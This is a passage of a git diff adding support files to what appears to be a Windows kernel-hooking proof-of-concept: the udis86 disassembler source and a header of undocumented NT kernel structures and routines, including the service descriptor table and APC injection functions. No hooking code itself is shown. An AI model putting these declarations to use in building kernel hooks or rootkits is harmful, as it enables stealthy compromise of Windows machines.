adr_mode; + uint8_t br_far; + uint8_t br_near; + uint8_t implicit_addr; + uint8_t c1; + uint8_t c2; + uint8_t c3; + uint8_t inp_cache[256]; + uint8_t inp_sess[64]; + struct ud_itab_entry * itab_entry; +}; + +/* ----------------------------------------------------------------------------- + * Type-definitions + * ----------------------------------------------------------------------------- + */ +typedef enum ud_type ud_type_t; +typedef enum ud_mnemonic_code ud_mnemonic_code_t; + +typedef struct ud ud_t; +typedef struct ud_operand ud_operand_t; + +#define UD_SYN_INTEL ud_translate_intel +#define UD_SYN_ATT ud_translate_att +#define UD_EOI -1 +#define UD_INP_CACHE_SZ 32 +#define UD_VENDOR_AMD 0 +#define UD_VENDOR_INTEL 1 + +#define bail_out(ud,error_code) longjmp( (ud)->bailout, error_code ) +#define try_decode(ud) if ( setjmp( (ud)->bailout ) == 0 ) +#define catch_error() else + +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/udis86.c b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/udis86.c new file mode 100644 index 00000000..dd1422ff --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/udis86.c @@ -0,0 +1,154 @@ +/* ----------------------------------------------------------------------------- + * udis86.c + * + * Copyright (c) 2004, 2005, 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ + +#include +#include +#include + +#include "input.h" +#include "extern.h" + +/* ============================================================================= + * ud_init() - Initializes ud_t object. + * ============================================================================= + */ +extern void +ud_init(struct ud* u) +{ + memset((void*)u, 0, sizeof(struct ud)); + ud_set_mode(u, 16); + u->mnemonic = UD_Iinvalid; + ud_set_pc(u, 0); +#ifndef __UD_STANDALONE__ + ud_set_input_file(u, stdin); +#endif /* __UD_STANDALONE__ */ +} + +/* ============================================================================= + * ud_disassemble() - disassembles one instruction and returns the number of + * bytes disassembled. A zero means end of disassembly. + * ============================================================================= + */ +extern unsigned int +ud_disassemble(struct ud* u) +{ + if (ud_input_end(u)) + return 0; + + + u->insn_buffer[0] = u->insn_hexcode[0] = 0; + + + if (ud_decode(u) == 0) + return 0; + if (u->translator) + u->translator(u); + return ud_insn_len(u); +} + +/* ============================================================================= + * ud_set_mode() - Set Disassemly Mode. + * ============================================================================= + */ +extern void +ud_set_mode(struct ud* u, uint8_t m) +{ + switch(m) { + case 16: + case 32: + case 64: u->dis_mode = m ; return; + default: u->dis_mode = 16; return; + } +} + +/* ============================================================================= + * ud_set_vendor() - Set vendor. + * ============================================================================= + */ +extern void +ud_set_vendor(struct ud* u, unsigned v) +{ + switch(v) { + case UD_VENDOR_INTEL: + u->vendor = v; + break; + default: + u->vendor = UD_VENDOR_AMD; + } +} + +/* ============================================================================= + * ud_set_pc() - Sets code origin. + * ============================================================================= + */ +extern void +ud_set_pc(struct ud* u, uint64_t o) +{ + u->pc = o; +} + +/* ============================================================================= + * ud_set_syntax() - Sets the output syntax. + * ============================================================================= + */ +extern void +ud_set_syntax(struct ud* u, void (*t)(struct ud*)) +{ + u->translator = t; +} + +/* ============================================================================= + * ud_insn() - returns the disassembled instruction + * ============================================================================= + */ +extern char* +ud_insn_asm(struct ud* u) +{ + return u->insn_buffer; +} + +/* ============================================================================= + * ud_insn_offset() - Returns the offset. + * ============================================================================= + */ +extern uint64_t +ud_insn_off(struct ud* u) +{ + return u->insn_offset; +} + + +/* ============================================================================= + * ud_insn_hex() - Returns hex form of disassembled instruction. + * ============================================================================= + */ +extern char* +ud_insn_hex(struct ud* u) +{ + return u->insn_hexcode; +} + +/* ============================================================================= + * ud_insn_ptr() - Returns code disassembled. + * ============================================================================= + */ +extern uint8_t* +ud_insn_ptr(struct ud* u) +{ + return u->inp_sess; +} + +/* ============================================================================= + * ud_insn_len() - Returns the count of bytes disassembled. + * ============================================================================= + */ +extern unsigned int +ud_insn_len(struct ud* u) +{ + return u->inp_ctr; +} diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/types.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/types.h new file mode 100644 index 00000000..46afdc69 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/types.h @@ -0,0 +1,200 @@ +/* ----------------------------------------------------------------------------- + * types.h + * + * Copyright (c) 2006, Vivek Mohan + * All rights reserved. See LICENSE + * ----------------------------------------------------------------------------- + */ +#ifndef UD_TYPES_H +#define UD_TYPES_H + +#include + +#ifdef _MSC_VER +# define FMT64 "%I64" + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + typedef unsigned __int64 uint64_t; + typedef __int8 int8_t; + typedef __int16 int16_t; + typedef __int32 int32_t; + typedef __int64 int64_t; +#else +# define FMT64 "%ll" +# include +#endif + +#include "itab.h" + +/* ----------------------------------------------------------------------------- + * All possible "types" of objects in udis86. Order is Important! + * ----------------------------------------------------------------------------- + */ +enum ud_type +{ + UD_NONE, + + /* 8 bit GPRs */ + UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, + UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, + UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, + UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, + UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, + + /* 16 bit GPRs */ + UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, + UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, + UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, + UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, + + /* 32 bit GPRs */ + UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, + UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, + UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, + UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, + + /* 64 bit GPRs */ + UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, + UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, + UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, + UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, + + /* segment registers */ + UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, + UD_R_FS, UD_R_GS, + + /* control registers*/ + UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, + UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, + UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, + UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, + + /* debug registers */ + UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, + UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, + UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, + UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, + + /* mmx registers */ + UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, + UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, + + /* x87 registers */ + UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, + UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, + + /* extended multimedia registers */ + UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, + UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, + UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, + UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, + + UD_R_RIP, + + /* Operand Types */ + UD_OP_REG, UD_OP_MEM, UD_OP_PTR, UD_OP_IMM, + UD_OP_JIMM, UD_OP_CONST +}; + +/* ----------------------------------------------------------------------------- + * struct ud_operand - Disassembled instruction Operand. + * ----------------------------------------------------------------------------- + */ +struct ud_operand +{ + enum ud_type type; + uint8_t size; + union { + int8_t sbyte; + uint8_t ubyte; + int16_t sword; + uint16_t uword; + int32_t sdword; + uint32_t udword; + int64_t sqword; + uint64_t uqword; + + struct { + uint16_t seg; + uint32_t off; + } ptr; + } lval; + + enum ud_type base; + enum ud_type index; + uint8_t offset; + uint8_t scale; +}; + +/* ----------------------------------------------------------------------------- + * struct ud - The udis86 object. + * ----------------------------------------------------------------------------- + */ +struct ud +{ + int (*inp_hook) (struct ud*); + uint8_t inp_curr; + uint8_t inp_fill; + FILE* inp_file; + uint8_t inp_ctr; + uint8_t* inp_buff; + uint8_t* inp_buff_end; + uint8_t inp_end; + void (*translator)(struct ud*); + uint64_t insn_offset; + char insn_hexcode[32]; + char insn_buffer[64]; + unsigned int insn_fill; + uint8_t dis_mode; + uint64_t pc; + uint8_t vendor; + struct map_entry* mapen; + enum ud_mnemonic_code mnemonic; + struct ud_operand operand[3]; + uint8_t error; + uint8_t pfx_rex; + uint8_t pfx_seg; + uint8_t pfx_opr; + uint8_t pfx_adr; + uint8_t pfx_lock; + uint8_t pfx_rep; + uint8_t pfx_repe; + uint8_t pfx_repne; + uint8_t pfx_insn; + uint8_t default64; + uint8_t opr_mode; + uint8_t adr_mode; + uint8_t br_far; + uint8_t br_near; + uint8_t implicit_addr; + uint8_t c1; + uint8_t c2; + uint8_t c3; + uint8_t inp_cache[256]; + uint8_t inp_sess[64]; + struct ud_itab_entry * itab_entry; +}; + +/* ----------------------------------------------------------------------------- + * Type-definitions + * ----------------------------------------------------------------------------- + */ +typedef enum ud_type ud_type_t; +typedef enum ud_mnemonic_code ud_mnemonic_code_t; + +typedef struct ud ud_t; +typedef struct ud_operand ud_operand_t; + +#define UD_SYN_INTEL ud_translate_intel +#define UD_SYN_ATT ud_translate_att +#define UD_EOI -1 +#define UD_INP_CACHE_SZ 32 +#define UD_VENDOR_AMD 0 +#define UD_VENDOR_INTEL 1 + +#define bail_out(ud,error_code) longjmp( (ud)->bailout, error_code ) +#define try_decode(ud) if ( setjmp( (ud)->bailout ) == 0 ) +#define catch_error() else + +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/udis86_amd64.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/udis86_amd64.lib new file mode 100644 index 00000000..cd69ffaf Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/udis86_amd64.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/udis86_i386.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/udis86_i386.lib new file mode 100644 index 00000000..4e59f451 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/udis86_i386.lib differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/undocnt.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/undocnt.h new file mode 100644 index 00000000..61ab1d29 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/undocnt.h @@ -0,0 +1,718 @@ + +// ******************************************************** +// some user-mode structures + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; + +} LDR_DATA_TABLE_ENTRY, +*PLDR_DATA_TABLE_ENTRY; + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY ModuleListLoadOrder; + LIST_ENTRY ModuleListMemoryOrder; + LIST_ENTRY ModuleListInitOrder; + +} PEB_LDR_DATA, +*PPEB_LDR_DATA; + +// ******************************************************** + +typedef struct SERVICE_DESCRIPTOR_ENTRY +{ + PVOID *ServiceTableBase; + PULONG ServiceCounterTableBase; + ULONG NumberOfServices; + PUCHAR ParamTableBase; + +} SERVICE_DESCRIPTOR_ENTRY, +*PSERVICE_DESCRIPTOR_ENTRY; + +typedef struct _SERVICE_DESCRIPTOR_TABLE +{ + SERVICE_DESCRIPTOR_ENTRY Entry[2]; + +} SERVICE_DESCRIPTOR_TABLE, +*PSERVICE_DESCRIPTOR_TABLE; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, // obsolete...delete + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + SystemTimeSlipNotification, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformation, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum + +} SYSTEM_INFORMATION_CLASS; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; // Not filled in + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[ 256 ]; + +} RTL_PROCESS_MODULE_INFORMATION, +*PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ]; + +} RTL_PROCESS_MODULES, +*PRTL_PROCESS_MODULES; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; + +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, +*PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; + +} SYSTEM_HANDLE_INFORMATION, +*PSYSTEM_HANDLE_INFORMATION; + +#ifndef _NTIFS_INCLUDED_ + +typedef struct _FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; + +} FILE_DIRECTORY_INFORMATION, +*PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; + +} FILE_NAMES_INFORMATION, +*PFILE_NAMES_INFORMATION; + +#endif + +typedef struct _FILE_FULL_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; + +} FILE_FULL_DIRECTORY_INFORMATION, +*PFILE_FULL_DIRECTORY_INFORMATION; + +typedef struct _FILE_BOTH_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG Unknown; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaInformationLength; + UCHAR AlternateNameLength; + WCHAR AlternateName[12]; + WCHAR FileName[1]; + +} FILE_BOTH_DIRECTORY_INFORMATION, +*PFILE_BOTH_DIRECTORY_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; + +} FILE_ID_BOTH_DIRECTORY_INFORMATION, +*PFILE_ID_BOTH_DIRECTORY_INFORMATION; + +typedef struct _FILE_ID_FULL_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; + +} FILE_ID_FULL_DIRECTORY_INFORMATION, +*PFILE_ID_FULL_DIRECTORY_INFORMATION; + +typedef struct _SYSTEM_OBJECT_TYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG ObjectCount; + ULONG HandleCount; + ULONG TypeNumber; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + POOL_TYPE PoolType; + UCHAR Unknown; + UNICODE_STRING Name; + +} SYSTEM_OBJECT_TYPE_INFORMATION, +*PSYSTEM_OBJECT_TYPE_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION +{ + ULONG NextEntryOffset; + PVOID Object; + ULONG CreatorProcessId; + USHORT Unknown; + USHORT Flags; + ULONG PointerCount; + ULONG HandleCount; + ULONG PagedPoolUsage; + ULONG NonPagedPoolUsage; + ULONG ExclusiveProcessId; + PSECURITY_DESCRIPTOR SecurityDescriptor; + UNICODE_STRING Name; + +} SYSTEM_OBJECT_INFORMATION, +*PSYSTEM_OBJECT_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG FileInformationLength, + FILE_INFORMATION_CLASS FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan +); + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + + +typedef struct THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PVOID TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; + +} THREAD_BASIC_INFORMATION, +*PTHREAD_BASIC_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySystemInformation( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationProcess( + HANDLE ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenThread( + PHANDLE ThreadHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PCLIENT_ID ClientId +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwFsControlFile( + HANDLE FileHandle, + HANDLE Event OPTIONAL, + PIO_APC_ROUTINE ApcRoutine OPTIONAL, + PVOID ApcContext OPTIONAL, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG FsControlCode, + PVOID InputBuffer OPTIONAL, + ULONG InputBufferLength, + PVOID OutputBuffer OPTIONAL, + ULONG OutputBufferLength +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwSaveKey( + HANDLE KeyHandle, + HANDLE FileHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FsInformation, + ULONG Length, + FS_INFORMATION_CLASS FsInformationClass +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySecurityObject( + HANDLE Handle, + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Length, + PULONG LengthNeeded +); + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetSecurityObject( + HANDLE Handle, + SECURITY_INFORMATION SecurityInformation, + PSECURITY_DESCRIPTOR SecurityDescriptor +); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDuplicateObject( + HANDLE SourceProcessHandle, + HANDLE SourceHandle, + HANDLE TargetProcessHandle, + PHANDLE TargetHandle, + ACCESS_MASK DesiredAccess, + ULONG HandleAttributes, + ULONG Options +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PBOOLEAN DaclPresent, + PACL *Dacl, + PBOOLEAN DaclDefaulted +); + +#ifndef _NTIFS_INCLUDED_ + +typedef struct _SID_IDENTIFIER_AUTHORITY +{ + UCHAR Value[ 6 ]; + +} SID_IDENTIFIER_AUTHORITY; + +typedef struct _SID_IDENTIFIER_AUTHORITY *PSID_IDENTIFIER_AUTHORITY; + +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSid( + PSID Sid, + PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + UCHAR SubAuthorityCount +); + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid( + PSID Sid +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN DaclPresent, + PACL Dacl, + BOOLEAN DaclDefaulted +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2( + PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + PULONG pBufferSize +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSid( + PSID Sid +); + +#ifndef _NTIFS_INCLUDED_ + +typedef struct _KAPC_STATE +{ + LIST_ENTRY ApcListHead[2]; + PVOID Process; + BOOLEAN KernelApcInProgress; + BOOLEAN KernelApcPending; + BOOLEAN UserApcPending; + +} KAPC_STATE, +*PKAPC_STATE; + +#endif + +NTSYSAPI +VOID +NTAPI +KeStackAttachProcess( + PEPROCESS Process, + PKAPC_STATE ApcState +); + +NTSYSAPI +VOID +NTAPI +KeUnstackDetachProcess( + PKAPC_STATE ApcState +); + +NTSYSAPI +NTSTATUS +NTAPI +PsLookupProcessByProcessId( + HANDLE ProcessId, + PEPROCESS *Process +); + +NTSYSAPI +NTSTATUS +NTAPI +PsLookupThreadByThreadId( + HANDLE ThreadId, + PETHREAD *Thread +); + + +NTSYSAPI +NTSTATUS +NTAPI +ObOpenObjectByPointer( + PVOID Object, + ULONG HandleAttributes, + PACCESS_STATE PassedAccessState, + ACCESS_MASK DesiredAccess, + POBJECT_TYPE ObjectType, + KPROCESSOR_MODE AccessMode, + PHANDLE Handle +); + +NTSYSAPI +NTSTATUS +NTAPI +ObOpenObjectByName( + POBJECT_ATTRIBUTES ObjectAttributes, + POBJECT_TYPE ObjectType, + KPROCESSOR_MODE AccessMode, + PACCESS_STATE AccessState, + ACCESS_MASK DesiredAccess, + PVOID ParseContext, + PHANDLE Handle +); + +NTSYSAPI +NTSTATUS +NTAPI +ObReferenceObjectByName( + PUNICODE_STRING ObjectPath, + ULONG Attributes, + PACCESS_STATE PassedAccessState, + ACCESS_MASK DesiredAccess, + POBJECT_TYPE ObjectType, + KPROCESSOR_MODE AccessMode, + PVOID ParseContext, + PVOID *ObjectPtr +); + +NTKERNELAPI +NTSTATUS +ObQueryNameString( + PVOID Object, + POBJECT_NAME_INFORMATION ObjectNameInfo, + ULONG Length, + PULONG ReturnLength +); + +NTKERNELAPI +VOID +KeSetSystemAffinityThread( + KAFFINITY Affinity +); + +typedef enum +{ + OriginalApcEnvironment, + AttachedApcEnvironment, + CurrentApcEnvironment + +} KAPC_ENVIRONMENT; + +NTKERNELAPI +VOID +KeInitializeApc( + PRKAPC Apc, + PRKTHREAD Thread, + KAPC_ENVIRONMENT Environment, + PKKERNEL_ROUTINE KernelRoutine, + PKRUNDOWN_ROUTINE RundownRoutine, + PKNORMAL_ROUTINE NormalRoutine, + KPROCESSOR_MODE ApcMode, + PVOID NormalContext +); + +NTKERNELAPI +BOOLEAN +KeInsertQueueApc( + PKAPC Apc, + PVOID SystemArgument1, + PVOID SystemArgument2, + KPRIORITY Increment +); diff --git a/Win32/Proof of 